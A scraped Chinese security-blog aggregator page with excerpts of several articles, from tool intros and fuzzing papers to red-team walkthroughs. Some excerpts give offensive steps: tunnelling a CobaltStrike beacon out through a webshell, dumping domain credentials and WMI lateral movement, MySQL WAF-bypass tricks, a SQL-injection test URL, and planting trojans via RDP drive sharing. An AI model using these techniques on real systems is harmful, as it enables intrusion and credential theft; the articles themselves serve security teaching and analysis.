[不出网的内网域渗透] 如何基于 http 隧道使用 pystinger 上线不出网机器到 CobaltStrike? 安全文章

[不出网的内网域渗透] 如何基于 http 隧道使用 pystinger 上线不出网机器到 CobaltStrike?

渗透攻击红队一个专注于红队攻击的公众号大家好,这里是 渗透攻击红队 的第 68 篇文章,本公众号会记录一些红队攻击的案例,不定时更新!请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!当跳板机器出网的情况下,我们可以随意内网渗透,只需注意免杀问题,那如何拿到一个 Webshell 不出网的情况下,如何进目标内网?如何上线到 C2?不出网的内网域渗透前言首先是拿到了一个 Webshell:通过初步判断当前机器 icmp 不出网:那怎么办呢?我们可以基于 HTTP 隧道打!基于 HTTP 隧道上线到 CobaltStrike项目地址:https://github.com/FunnyWolf/pystinger这个东东可以让 Webshell 实现内网 Socks4 代理,让不出网机器上线到 MSF/CS,使用 python 写的一款工具,支持目标站点 php、jsp(x)、aspx 三种脚本语言!先上传对应的 Pystinger webshell 文件并成功访问:然后我们还需要将 stinger_server.exe 上传到目标服务器 ,执行如下命令:start c:Windowstempcookiestinger_server.exe 0.0.0.0然后将 stinger_client 上传到 vps ,执行如下命令./stinger_client -w http://saulgoodman.cn:9009//wls-wsat/proxy.jsp -l 0.0.0.0 -p 60000此时已将目标服务器的 60020 端口映射到 VPS 的 60020 端口了!这个时候我们 CobaltStrike 设置监听,http host 填写目标内网的  IP 地址:192.168.0.9,端口填写 60020:然后我们生成一个 exe,监听器就是刚刚设置的那个:然后目标运行 exe 马,直接上线到 CobaltStrike:内网信息搜集通过 nbtscan 对当前内网进行信息搜集发现当前内网是存在域环境的:由于当前已经是 administrator 了,且是 Windows 2008 的机器,可以直接抓明文:抓到了本地管理员和域管明文还有一些域用户的明文!既然域控是 192.168.0.2 这台,那么直接 WMI 横向把:shell cscript c:windowstempWMIHACKER.vbs /cmd 192.168.0.2 BExxxxadministrator vmxxxxx whoami 1直接拿到域控 system 权限!我们还可以用系统自带的 WMI 来执行命令,只不过命令不回显:wmic /node:192.168.0.2 /user:BEHxxxxadministrator /password:vm$xxxx process call create "cmd.exe /c ipconfig > c:result.txt" type \192.168.0.2c$result.txt这篇文章主要就是想表达不出网也是可以对它进行内网渗透的,并不是遇到不出网环境就不能打内网,方法很多,知识面还是会决定你的杀伤链!渗透攻击红队一个专注于渗透红队攻击的公众号点分享点点赞点在看 本文始发于微信公众号(渗透攻击红队): 如何基于 http 隧道使用 pystinger 上线不出网机器到 CobaltStrike?
阅读全文
基于docker搭建开源扫描器——伏羲 安全工具

基于docker搭建开源扫描器——伏羲

基于docker搭建开源扫描器——伏羲1、简介项目地址  伏羲是一款开源的安全检测工具,适用于中小型企业对企业内部进行安全检测和资产统计。功能一览:  基于插件的漏洞扫描功能(类似于巡风)漏洞管理多种协议的弱口令检测企业的子域名收集企业内部资产管理与服务探测端口扫描AWVS接口调用  2、安装我这里是基于Ubuntu搭建的,操作步骤仅供参考  下载项目  快速开始git clone --depth 1 https://github.com/jeffzh3ng/Fuxi-Scanner.git fuxi-scanner;cd fuxi-scanner;  docker build -t jeffzh3ng/fuxi-scanner 2、拉取镜像```docker pull jeffzh3ng/fuxi-scanner3、启动  docker run -dit -p 5000:5000 -v /opt/data:/data jeffzh3ng/fuxi-scanner:latest或者    docker run -dit -p 5000:5000 -v /opt/data:/data -v /etc/localtime:/etc/localtime jeffzh3ng/fuxi-scanner// 同步主机与 Docker 时间4、安装完成伏羲的默认密码是whoami3、功能介绍伏羲界面虽然是英文的,但我们有神器Google啊,这里贴一张Google翻译样图。漏洞扫描  该模块主要设计初衷是为了对互联网新爆发的安全漏洞进行快速响应及风险排查,以及对已发现的漏洞修复情况进行追踪,该模块可以和资产服务发现模块结合使用,进行快速应急响应。该模块通过调用知道创宇开源扫描器 Pocsuite 进行扫描,具备编码能力的可以根据模版快速开发插件,不具备插件编写能力的可以通过SeeBug 社区获取。本项目不提供漏洞插件,互联网上有项目提供了很多的 Pocsuite 插件,可以在Github上进行搜索。  扫描任务周期可以选择单次、每日、周及每月,扫描对象可以是单个 IP、网段或者 Url扫描插件通过插件模块中新增插件进行上传,插件必须符合 PoC 编写规范及要求说明2、企业资产扫描  企业安全部门人员可以根据部门不同对IT资产进行划分,新建不同的资产。  资产服务发现模块是通过调用Nmap进行扫描  3、基础认证测试(也就是弱口令检测)该模块调用Hydra进行扫描检测目前伏羲支持的协议检测有55种:  Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY,...
阅读全文
使用基于注意力的强化学习方法进行WEB应用测试 安全闲碎

使用基于注意力的强化学习方法进行WEB应用测试

原文作者:Yan Zheng, Yi Liu, Xiaofei Xie, Yepang Liu, Lei Ma, Jianye Hao, and Yang Liu原文标题:Automatic Web Testing Using Curiosity-Driven Reinforcement Learning原文链接:https://arxiv.org/pdf/2103.06018.pdf笔记作者:[email protected]简介该文为发表于ICSE 2021的Automatic Web Testing Using Curiosity-Driven Reinforcement Learning。其研究主要在于端到端对web应用程序进行自适应地测试。针对Web应用的测试一直被认为是一项困难的任务。即使在今天,web测试仍然严重依赖于人工操作,而自动化web测试远未达到人工的水平。在篇论文中,作者使用好奇心驱动的强化学习方法以生成满足时序逻辑关系的高质量测试用例,并测试过程中逐步构建了一个自动机,以提高测试效率。方法作者为他提出的web应用测试框架命名为WebExplor,其目的是自动化生成不同的操作序列,让测试覆盖到web应用的更多行为。为了实现这一目标,WebExplor主要采用好奇心驱动的强化学习(RL)来不断优化策略,并更够在线学习,不像传统的AI方案那样需要先训练好模型才能部署。如下图所示,WebExplor主要包括三大组件,分别是Web应用抽象化、基于强化学习的测试用例生成和有限自动机。状态提取首先,需要从Web程序中抽象出用于强化学习的状态集合,如果直接用网页来代表状态,那么由于现代web应用的动态特性,会得到一个巨大的状态集合,这在强化学习中是无法接受的。为了解决状态爆炸问题,WebExplor将相同业务逻辑的页面归结于同一个状态。举例来讲,如果一个页面中用表格来展示用户的购物车信息,尽管可以通过增添或减少商品来创建近乎无穷多个不同的页面,但是由于其业务逻辑相同,所以认为属于同一个状态。具体来讲,如果两个页面的URL相同且HTML内容相似,那么它们很可能属于同一业务逻辑。实际操作中,每遇到一个新页面,WebExplor会过滤部分页面内容,只保留可操作元素(按钮、输入框、选择器等),然后将该页面与之前以保存的所有状态进行匹配,如果URL不相同或页面元素相似度低于设定的阈值,则作为一个新的状态添加到状态集合中。好奇心驱动的强化学习之后,为了通过强化学习的方法训练一种生成不同测试用例的探索策略,需要定义一个有效的奖励函数来确定最优策略。在针对web应用的测试中,其目标为尽可能多地探索web应用程序的不同行为。由于目标模糊(相对与有明确奖励目标的任务,如电子游戏),WebExplor引入好奇心机制,这一机制是为了解决强化学习中中的粗略奖励问题而提出的。作者设计了一个好奇心驱动的奖励函数,它采用了一种通用的适应性机制来指导探索,从而可以达到不同的状态。基于好奇心机制的驱动,使用Q-Learning算法学习用例生成策略。有穷自动机宏观指导最后,对于一个较大的状态空间进行探索,强化学习可能会无法到达某一状态的问题。如下图所示,例如某办公系审核流程中,状态S0到状态Sm+1之间虽然每一步跳转的概率都是0.9,但是到达Sm+1的概率只有0.95。为了应对这一问题,WebExplor利用有穷自动机在宏观层面对web应用的探索过程进行指导。当探索一定次数仍未发现新的状态时,则使用有穷自动机找到一个好奇心度最高的目标状态,然后让强化学习的智能体直接过度到这一状态继续探索。实验在实验阶段,作者主要通过实验结果说明一下四个问题:WebExplor的代码覆盖率如何?WebExplor的故障探测率如何?有限自动机是否有效指导了针对web应用的探测过程?WebExplor在真实环境下效果如何?如下表所示,作者针对多个GIthub上多个流行项目(高于50 stars)进行测试,实验就过表明其代码覆盖率和故障探测率指标普遍优于其他无导航模型方法(Crawljax, Random)和基于导航模型的方法(DIG, SUBWEB),无论其导航模型时自动生成(APO)还是需要人工辅助(MPO)。此外,如下图所示,使用有穷自动机对WebExplor的探测过程进行宏观指导时,可以更早得获得更高的指标,以提高探测效率,并且最终结果也普遍由于不使用有穷自动机的WebExplor。安全学术圈招募队友-ing, 有兴趣加入学术圈的请联系secdr#qq.com 本文始发于微信公众号(安全学术圈):使用基于注意力的强化学习方法进行WEB应用测试
阅读全文
恶意软件分析:基于PHP的skimmer表明Magecart活动仍在继续 逆向工程

恶意软件分析:基于PHP的skimmer表明Magecart活动仍在继续

概述Web skimming对于在线商城和网购用户来说,仍然是一种非常严重的安全威胁。在这一领域,从普通业余爱好者,到国家级别的黑客组织(比如说Lazarus),网络犯罪分子的复杂程度各不相同。在安全方面,许多电子商务网站仍然容易受到攻击,因为它们多年来都没有升级过他们的内容管理软件(CMS)。我们今天看到的活动是关于一些Magento1网站的,而这些网站已经被一个非常活跃的skimmer组织所入侵了。通过分析后我们发现,去年秋天被发现的Magecart Group 12就是Magento 1攻击事件背后的始作俑者,而这个组织现在仍在继续传播新的恶意软件。网络犯罪分子会利用这些被称为Smilodon或Megalodon的Wen Shell并通过服务器端请求将JavaScript skimming代码加动态加载进在线商城站点中。这种技术非常有意思,因为大多数客户端安全工具都无法检测或阻止skimmer。Web Shell以favicon的形式隐藏在对Magento 1网站使用网络爬虫进行分析时,我们检测到了一个伪装成favicon图标的新型恶意软件。其中,文件名为Magento.png的文件会尝试将其以“image/png”传递,但该文件并没有正确的合法图像文件PNG格式内容。恶意软件可以将合法图标快捷方式标签图换成伪造PNG文件的路径,来实现针对目标站点的入侵。跟使用伪造favicon图标文件来隐藏恶意JavaScript代码的攻击事件不同,这种攻击方式最终将实现一个PHP Web Shell。但是,当前网络犯罪分子所实现的这个PHP脚本并不能被正确加载。Web Shell是一种非常流行的恶意软件类型,它允许攻击者实现针对目标主机的远程访问和管理,它们通常会在攻击者利用漏洞实现针对目标主机的入侵之后加载进一台Web服务器中。为了对这个Web Shell进行深入分析,我们将其进行了反向解码。我们看到,它会从一台域名为zoloow的外部主机获取数据。在对m1_2021_force目录进行深入分析之后,我们发现了专门针对信用卡数据窃取的专用代码。其中的数据提取部分与[email protected]研究员在今年三月份于WordPress网站(Smilodon恶意软件)上发现的内容相符,后者还可以窃取用户凭证数据:下面给出的是SanSec报告的类似的PHP文件(Mage.php):在针对Mageto 1EOL攻击事件进行分析时,SamSec之前还报告过类似的路径/文件名:这意味着,我们当时和现在可能正在研究相同的威胁因素,我们可以通过研究正在使用的基础设施来确认这一点。Magecart Group 12因为我们在Magento 1.x网站上发现了favicon Webshell,所以我们认为可能与去年发现的Magento 1分支(不再维护)漏洞攻击事件有关。RiskIQ记录了这些攻击事件,并将其与当时的Magecart Group 12联系起来。我们发现的最新域名(zolopw)恰好与先前Magecart Group 12关联的域recaptcha-inpw和google statikpw托管在相同的IP地址(217.12.204185)上。动态加载的skimmer现在有很多方法可以加载skimming代码,但最常见的就是通过调用外部JavaScript资源来实现。当一个客户访问一个在线商店时,他们的浏览器会向一个托管skimmer的域发出请求。尽管犯罪分子会不断扩展他们的基础设施,但对于那些使用域/IP数据库的skimmer来说,阻止和屏蔽还是相对容易的。相比之下,本文所介绍的skimmer会将代码动态地注入到商家网站中。向托管skimming代码的恶意域发送请求的是服务器端,而不是客户端。这样一来,除非所有被入侵的在线商城都被加入黑名单,否则这将导致基于数据库的屏蔽方法将行不通。一种更有效、但也更复杂且容易出现误报的方法是实时检查DOM,并检测何时加载了恶意代码。入侵威胁指标IoCfacedookhostpathcspacepredatorhostgoogle-statikpwrecaptcha-inpwsexrurapwzolopwkermopwpsaspwpathcspacepredatorhostgooogletagmanageronlineimagspwy5msautocapitalpwmyiconsnetqr202754pwthesunpwredornspacezebornpwgoogletagmanagrcomautocapitalpwhttppsxxx-clubpwy5ms1951232171821712204185831662412058316624210583166244113831662441528316624418983[email protected][email protected]@ramblerru精彩推荐 本文始发于微信公众号(FreeBuf):恶意软件分析:基于PHP的skimmer表明Magecart活动仍在继续
阅读全文
Kunyu(坤舆)-基于 ZoomEye API 的高效信息收集工具 安全工具

Kunyu(坤舆)-基于 ZoomEye API 的高效信息收集工具

作者:风起@知道创宇404实验室时间:2021年7月28日项目地址:https://github.com/knownsec/Kunyu0x00 介绍工具介绍Kunyu (坤舆),名字取自 <坤舆万国全图> ,测绘实际上是一个地理信息相关的专业学科,针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络空间,发现未知、脆弱的资产也是如此,更像是一张网络空间地图,用来全面描述和展示网络空间资产、网络空间各要素及要素之间关系,以及网络空间和现实空间的映射关系。所以我认为“坤舆”还是比较贴合这个概念的。Kunyu(坤舆),是一款基于ZoomEye API开发的信息收集工具,旨在让企业资产收集更高效,使更多的安全从业者了解、使用网络空间资源测绘技术。应用场景对于 kunyu 的使用,应用场景可以有很多,例如:•企业内遗忘的,孤立的资产进行识别并加入安全管理。•企业外部暴露资产进行快速排查,统计。•红蓝对抗相关需求使用,对捕获IP进行批量检查。•批量收集脆弱资产(0day/1day) 影响内的设备、终端。•新型网络犯罪涉案站点信息进行快速收集,合并,进行更高效的研判、分析。•对互联网上受相关漏洞影响的脆弱资产,进行统计、复现。•.......0x01 安装需要Python3以上的支持git clone https://github.com/knownsec/Kunyu.gittar -xvf Kunyu.tarcd Kunyupip3 install -r requirements.txtLinux: python3 setup.py install kunyu consoleWindows: cd kunyu python3 console.py0x02 配置说明在第一次运行程序时通过输入以下命令进行初始化操作,提供了其他登录方式,但是推荐使用API的方式,因为用户名/密码登录需要额外做一次请求,所以理论上API的方式会更加高效。kunyu init --apikey <your zoomeye key> --seebug <your seebug key>0x03 工具使用命令详解kunyu consoleZoomEyeGlobal commands: info Print User info SearchHost <query> Basic Host search SearchWeb <query> Basic Web search SearchIcon <File>/<URL> Icon Image search SearchBatch <File> Batch search Host SearchCert <Domain> SSL certificate Search SearchDomain <Domain> Domain name associated/subdomain search Seebug <Query> Search Seebug vulnerability information set <Option> Set arguments values ExportPath Returns the path of the output file clear Clear the console screen show Show can...
阅读全文
预告6.4|【论文分享】基于强化学习的模糊测试分层次种子调度策略 安全闲碎

预告6.4|【论文分享】基于强化学习的模糊测试分层次种子调度策略

软件安全智能并行分析实验室学术活动报告题目:【论文分享】NDSS-2021 Reinforcement Learning-based Hierarchical Seed Scheduling for Grey-box Fuzzing报告人:zhanggen简介:模糊测试中存在多种形式的代码覆盖率度量方式,例如AFL中的边覆盖率。不同的覆盖率度量有各自的优缺点,例如,精度高的度量方式可以区分更细的差别,提高筛选种子的精度,但缺点是容易使模糊测试保留过多的种子。本文AFL-hier提出了一种树形结构的分层次覆盖率度量方式,上层节点是粗粒度的覆盖率度量,往下是细粒度的覆盖率度量。该树形结构用来对种子进行分类。此外,文章还使用多臂老虎机的相关理论,在不同的阶段选择合适的覆盖率度量以及合适的种子。实验结果表明,AFL-hier在漏洞数量、路径数量、执行速度上均优于现存的模糊测试工具。时间:2021-6-4,上午10点会议地点:天河南楼213会议室 本文始发于微信公众号(ipasslab):预告6.4|【论文分享】基于强化学习的模糊测试分层次种子调度策略
阅读全文
Winafl中基于插桩的覆盖率反馈原理 安全文章

Winafl中基于插桩的覆盖率反馈原理

最近winafl增加支持对Intel PT的支持的,但是只支持x64,且覆盖率计算不全,比如条件跳转等,所以它现在还是不如直接用插桩去hook的方式来得准确完整,这里主要想分析也是基于 DynamoRIO插桩的覆盖率反馈原理。之前曾有人在《初识 Fuzzing 工具 WinAFL》(https://paper.seebug.org/323/#32)中“3.2.2 插桩模块”一节中简单分析过其插桩原理,但没有找到我想要的答案,因此只好自动动手分析下源码。比如,我想知道:通过循环调用fuzzing的目标函数来提高速度,但DynamoRIO的覆盖率信息是如何同步给fuzzer主进程的?具体是如何实现寄存器环境的记录与恢复,从而实现目标函数的不断循环?覆盖率信息是如何记录与分析的? 覆盖率信息记录与分析原理第3个问题发现已经有人分析过afl,可以参见这里《AFL内部实现细节小记》(http://rk700.github.io/2017/12/28/afl-internals/),简单总结下:AFL在编译源码时,为每个代码生成一个随机数,代表位置地址;在二元组中记录分支跳转的源地址与目标地址,将两者异或的结果为该分支的key,保存每个分支的执行次数,用1字节来储存;保存分支的执行次数实际上是一张大小为64K的哈希表,位于共享内存中,方便target进程与fuzzer进程之间共享,对应的伪代码如下:fuzzer进程通过buckets哈希桶来归类这些分支执行次数,如下结构定义,左边为执行次数,右边为记录值trace_bits:对于是否触发新路径,主要通过计算各分支的trace_bits的hash值(算法:u32 cksum **=** hash32(trace_bits, MAP_SIZE常量, HASH_CONST常量);)是否发生变化来实现的 覆盖信息的传递原理先在fuzzer进程中先创建命名管道,其中fuzzer_id为随机值:创建drrun进程去运行目标程序并Hook,在childpid_(%fuzzer_id%).txt的文件中记录子进程id,即目标进程ID,然后等待管道连接,并通过读取上述txt文件以获取目标进程id,主要用来后面超时中断进程的:3. 在插桩模块winafl.dll中打开前面创建的命名管道,然后通过管道与fuzzer主进程进行交互:4. 当插桩模块winafl.dll监测到程序首次运行至目标函数入口时,pre_fuzz_handler函数会被执行,然后通过管道写入'P'命令,代表开始进入目标函数,afl-fuzz.exe进程收到命令后,会向目标进程写入管道命令'F',并监测超时时间和循环调用次数。afl-fuzz.exe与目标进程正是通过读写管道命令来交互的,主要有'F'(退出目标函数)、'P'(进入目标函数)、'K'(超时中断进程)、'C'(崩溃)、'Q'(退出进程)。覆盖信息通过文件映射方法(内存共享)写入winafl_data.afl_area:篡改目标函数循环调用的原理此步的关键就在于进入目标函数前调用的pre_fuzz_handler函数,以及函数退出后调用的post_fuzz_handler函数。进入pre_fuzz_handler函数时,winafl.dll会先获取以下信息其中内存上下文信息支持各平台的寄存器记录:接下来就是获取和设置fuzzed的目标函数参数:当目标函数退出后,执行post_fuzz_handler函数,会恢复栈顶指针和pc地址,以此实现目标函数的循环调用:总结总结下整个winafl执行流程:afl-fuzz.exe通过创建命名管道与内存映射来实现与目标进程交互,其中管道用来发送和接收命令相互操作对方进程,内存映射主要用来记录覆盖率信息;覆盖率记录主要通过drmgr_register_bb_instrumentation_event去设置BB执行的回调函数,通过instrument_bb_coverage或者instrument_edge_coverage来记录覆盖率情况,如果发现新的执行路径,就将样本放入队列目录中,用于后续文件变异,以提高代码覆盖率;目标进程执行到目标函数后,会调用pre_fuzz_handler来存储上下文信息,包括寄存器和运行参数;目标函数退出后,会调用post_fuzz_handler函数,记录恢复上下文信息,以执行回原目标函数,又回到第2步;目录函数运行次数达到指定循环调用次数时,会中断进程退出。 本文始发于微信公众号(漏洞战争):Winafl中基于插桩的覆盖率反馈原理
阅读全文
PoC 编写指南(基于Pocsuite框架SQL注入PoC编写) 安全文章

PoC 编写指南(基于Pocsuite框架SQL注入PoC编写)

版权声明:本教程为笔者原创,转载需征求笔者同意。港真,这一篇也是在教你怎么赚钱的PoC指南,所以呢,如果你通过这篇文章赚钱了,请不要吝啬你的转发跟点赞。呀比!   学过了无框架的PoC编写跟基于Bugscan框架的编写,我们来学习基于Pocsuite框架的SQL注入PoC编写,接下来看代码2_2_2.py中使用了 Python 标准库中的 urllib2 来发送 HTTP 请求,而在 Pocsuite 中,框架要求使用 Pocsuite 框架封装好的 req , 其实它就是 python 的 requests 库,具体的用法直接看 requests 帮助文档就好了。    为什么不让你在 PoC 中直接 import requests 呢?上面我已经说过了,哦,好像没说,我们在批量的时候,有一些站为了防机器人,需要看你有没有 HTTP 请求头的,比如有一些 WAF 会检测请求中是否有 User-Agent, 对,就是怕有些人忘记了,于是框架就处理了这些啊。再比如,你这个 PoC 中需要 Cookie ,你总不能在扫描的时候弹一个框让用户写 Cookie 吧,那你批量的时候不累死用户了。对,这些东西,框架都帮你解决了。好了看代码:代码 2_2_3.py:将上面的代码保存为 2_2_3.py 然后下载 Pocsuite 框架后,用 Pocsuite 框架执行我们的 PoC, 执行结果如图 2-5:图 2-5本想在注释里面解释一下的,写完发现代码实在是太乱了,于是我还是放下面解释吧。我们先看一下代码整体结构:    最上面是引入一些类库,中部是一个 PoC 的类,继承自 PoCBase 类,类中有两个函数,_verify和 _attack ,这两个分别是 verify 和 attack 模式的入口函数,然后还有一个用户自己定义的函数parse_result , 用于统一输出。下面是针对每个具体的部分的说明,其实在人家框架里面已经有详细说明了,我重复一下。   上面这些代码的意思是引入 pocsuite 的类库,当然你直接去按目录找肯定是找不到的,因为这个是老版本的 pocsuite 框架的目录结构,为了兼容老版本的就这么处理了。在加载的时候会自动将其替换成正确的路径。总结起来就一句话,人这么规定的你就这么写就对了。这一部分代码,用于填写一些基础信息,PoC 多的情况下很有用的。根据漏洞实际情况填写就行了。   这里就是具体的 verify 的代码了。如果你看过 代码 2_2_2.py ,那么这段代码对你来说并不是问题,与代码 2_2_2.py 不同的是,这里使用了 req 来发送数据,还有一处不同的就是输出不再是 print 了,而是将我们要输出的信息保存在了一个叫 result 的字典里面,然后再调用 parse_result 将其输出。   这里是 attack 模式的入口,这个是带有攻击性质的验证模式,也就是说,在这个函数里面,你可以直接注出管理员密码出来。相对于 _verify 来说,这个就稍微复杂了那么一丢丢。我偷了个懒不想写了,就让它返回 verify 了。   这个函数,是我自己定义的一个函数,有些人有问题,到底能不能自己定义函数,答案就是 能!记住,_verify 和 _attack 是入口,也就是框架要调用这两个函数,程序执行进来了以后,你想怎么调用就怎么调用。关于这里面的代码,就是调用了框架输出的实例 Output 了而已。这是最后,也是比较容易忽视的地方,一定要注意在最后要调用 register 来注册你的 PoC 类,这样框架才知道你这个类是 PoC 类,就会去调用它。总结   本小节中主要讲了 基于报错的 SQL 注入 PoC 编写,也就是针对有回显的 SQL 注入,我们 PoC 模拟了浏览器提交数据的这一过程,我们判断是否存在漏洞的依据就是看返回页面的内容是否有我们预期的值。 ...
阅读全文
基于mysql特性的waf绕过技巧小总结 安全文章

基于mysql特性的waf绕过技巧小总结

研究过国内外的waf。分享一些 奇淫绝技。一些大家都了解的技巧如:/*!*/,SELECTxx FROM 不再重造轮子。Mysqltips1: 神奇的 `  (格式输出表的那个控制符)过空格和一些正则。mysql> select`version`();+———————-+|`version`()|+———————-+|5.1.50-community-log |+———————-+1 row in set(0.00 sec)一个更好玩的技巧,这个`控制符可以当注释符用(限定条件)。mysql> select id from qs_admins where id=1;`dfff and comment it;+—-+| id |+—-+|1|+—-+1 row in set(0.00 sec)usage : where  id =’0′`’xxxxcomment on.tips2:神奇的- + .mysql> select id from qs_admins;+—-+| id |+—-+|1|+—-+1 row in set(0.00 sec)   mysql> select+id-1+1.from qs_admins;+———-+|+id-1+1.|+———-+|1|+———-+1 row in set(0.00 sec)   mysql> select-id-1+3.from qs_admins;+———-+|-id-1+3.|+———-+|1|+———-+1 row in set(0.00 sec)(有些人不是一直在说关键字怎么过?过滤一个from …    就是这样连起来过)tips3: @mysql> [email protected]^1.from qs_admins;+——|+|@^1.|+——|+| NULL |+——|+这个是bypass  曾经dedeCMS filter .或者这样也是ok.tips4:mysql function() as xxx  也可以不用as 和空格mysql> select-count(id)test from qs_admins;+——|+| test |+——|+|-1|+——|+1 row in set(0.00 sec)tips5:/*!*/ 新构造  版本号(这个可能有些过时了。)mysql>//*!40000select/*/ id from qs_admins;+—-+| id |+—-+|1|+—-+1 row in set(0.00 sec)先分享这么多,哈。 本文始发于微信公众号(飓风网络安全):基于mysql特性的waf绕过技巧小总结
阅读全文
PoC 编写指南(基于布尔盲注的 SQL 注入PoC编写) 安全文章

PoC 编写指南(基于布尔盲注的 SQL 注入PoC编写)

版权声明:本文首发于微信号:inn0team此文章版权归属于 inn0team 所有,未经授权不得转载。写在前面     让我们继续学习PoC编写指南这一系列的文章,这次的作者是我们团队的城管打人(本来应该是大人,故意写错的),团队里战斗力最高的一位,除了长得娘了点,其他都是优点。漏洞分析     这次我们选择的漏洞为 MetInfo 5.3 /include/global/listmod.php SQL 注入漏洞。(http://www.wooyun.org/bugs/wooyun-2015-0119166)想看原文分析的可以点上面的链接去研究,你别看我的标题和原文作者的不一样,内容其实是一样的。原文中的分析不是太详细,但是呢,我暂时不想详解这个漏洞,后面再看吧,如果有需要的话。根据原文中分析我们知道了,存在 SQL 注入的文件是/include/global/listmod.php , 存在注入的变量是$serch_sql。在 listmod.php 文件 200 行的位置拼接了 SQL 语句,在拼接 SQL 语句之前,对 $serch_sql 变量进行了初始化操作,但是呢,控制它是否初始化的另一个变量为 $imgproduct。当这个 $imgproduct 变量非 search 的任意字符的时候,导致 $serch_sql 不能进行初始化,从而可以自定义$serch_sql 进行注入。阅读原文后我们得到了目标 URL:http://xxx.com/news/news.php?lang=cn&class2=5&serch_sql=123qweasd&imgproduct=xxxx 存在注入的参数是 search_sql 注入的类型是 Boolean-Based Blind。漏洞复现手工复现漏洞对学习可是很有帮助的。不管你信不信,我反正是信了。本地搭建 MetInfo 环境, 下载地址Metinfo5.3下载地址:http://pan.baidu.com/s/1o6TvPwA读者下载完安装包后,进行安装,具体安装步骤在此处不再赘述。笔者安装完毕后网站的地址为: http://127.0.0.1/MetInfo/访问安装后的地址,如果正常访问,那就代表安装成功,我们可以继续后面的步骤了。这里要强调一点,如果你是 Linux 系统,那么 Web 容器对目录与文件名的大小写是敏感的,笔者建议直接目录在创建的时候用小写根据原漏洞详情的描述,我们直接访问:http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe&imgproduct=xxxx注意看下图中业界资讯下方的条目好啦,然后我们给 search_sql 的参数后加一个单引号:http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe'&imgproduct=xxxx下图中业界资讯下方一条记录也没有了。于是我们得出一个结论存在 SQL 注入。那么我们再想一下,我们怎么判断存在 SQL 注入的呢?先请求正常的页面(也就是上面的第一个链接),然后再请求带单引号的页面(也就是上面的第二个链接),如果两次结果不一样,就判断存在注入了。看起来是这样的,对吧?实际上呢,上面说的话不是很严谨。我们验证 SQL 注入的时候,一定一定一定是为了证明我们输入的字符被当作 SQL 指令执行了。如果我们只用上面这两个链接来判断存在注入的话,这误报率简直高到没边了。仔细思考一下为什么。在实际中,是非常之复杂的,我们试想一下,假设有一个网站,它装了一个 WAF, 当你请求第一个没单引号的链接的时候,它返回的是正常的页面,然后,当你请求中带了一个单引号的时候,WAF 给你拦了,然后返回了一个请不要注入的提示的页面出来。妥妥的误报。是吧?这样我们就得修改一下这个两个请求了。我们看一下这个请求的 SQL 语句是什么样子的:SELECT * FROM met_news 123qwe where lang = 'cn'  and (recycle = '0' or recycle = '-1') and (( class 1 = '2'  and class 2 = '5' ) ) and displaytype= '1' and addtime <= '2015-12-29 17:59:20'  order by top_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 8上面这个你可以通过 tcpdump 抓包来得到,也可以通过修改网站源代码的方式,在查询前打印 SQL 语句,两种方法都可以,看个人喜好了看到上面的...
阅读全文
内网渗透|基于文件传输的 RDP 反向攻击 安全文章

内网渗透|基于文件传输的 RDP 反向攻击

image-20210712211001617前言通常认为远程桌面协议是连接远程计算机的安全且值得信赖的应用程序,全球数以千计的 IT 专业人员和安全研究人员都在使用远程桌面协议管理者自己的计算机设备,无论是用于帮助远程工作人员还是在安全的 VM 环境中工作,RDP 远程桌面客户端都是非常宝贵的工具。然而,这一值得信赖的应用程序并不是完全可靠的,在我的《内网渗透测试:初探远程桌面的安全问题》这篇文章中,我大致罗列出了常见的用于攻击 RDP 远程桌面的方式。本节我们就一个问题进行探讨,即如何通过远程桌面服务端反打连接他的客户端。如今,在很多组织机构内部,针对 DMZ 或隔离网络区域内的计算机设备,为了限制其它接入端口风险,通常只允许这些设备开启 3389 端口,使用远程桌面来进行管理维护,这样,所有正向攻击手段都无法使用。那这样真的就万无一失了吗?当然不是。本节我们就来研究如何通过 RDP 反向攻击的方式针对这种受限网络设备完成渗透测试。RDP 反向攻击的姿势有不少,本节我们主要针对最简单的一个姿势来进行进行讲解,即通过挂载盘符进行 RDP 反向攻击。其基本原理就是Windows 远程桌面客户端 mstsc 有一个盘符挂载选项,如果勾选了该选项,会开启磁盘共享功能,相当于将你的磁盘再远程主机上共享,你可以通过类似于 SMB 文件传输命令那样将位于远程主机上的文件复制到客户端主机上。如果我们通过相应的设置,在客户端连接远程主机的一瞬间,将远程主机上早已准备好的木马程序复制到客户端主机的启动项中,那么当客户端主机下一次启动时便会执行该木程序,客户端主机便可以成功上线。这种攻击方法又被称作 RDPInception。Mstsc 挂载盘符这里利用了Windows 远程桌面客户端 mstsc.exe 连接时的一个选项:image-20210712211001617连接目标主机时,如果像上图那样在 mstsc.exe 中开启驱动器共享的话,那么客户端进行远程登陆后,在远程远程主机的 “网络” 中便可以发现一个名为 “tsclient” 的主机:image-20210712213431202这其实就是开启磁盘共享后,远程主机为连接他的客户端主机分配的名称。然后通过以下格式的命令便可以在远程主机上访问连接他的客户端主机了:dir \tsclientc # 列出连接远程主机的本机 C 盘目录copy file \tsclientc # 将文件复制到连接远程主机的本机中# \tsclient盘符如下图,我们使用 “tsclient” 列出了客户端主机上的 C 盘目录:image-20210712213922868如下图所示,我们使用 “tsclient” 将远程主机上的 test.txt 成功复制到了客户端主机:image-20210712214851175这种访问方式类似于使用 SMB 进行文件传输,虽然本质上都是 SMB 协议,但是使用 tsclient 无需进行身份认证。但要注意的是,只有通过远程登陆的用户才可以在远程主机中访问 tsclient,其他在远程主机上本地登录的用户是无论如何也无法访问 tsclient 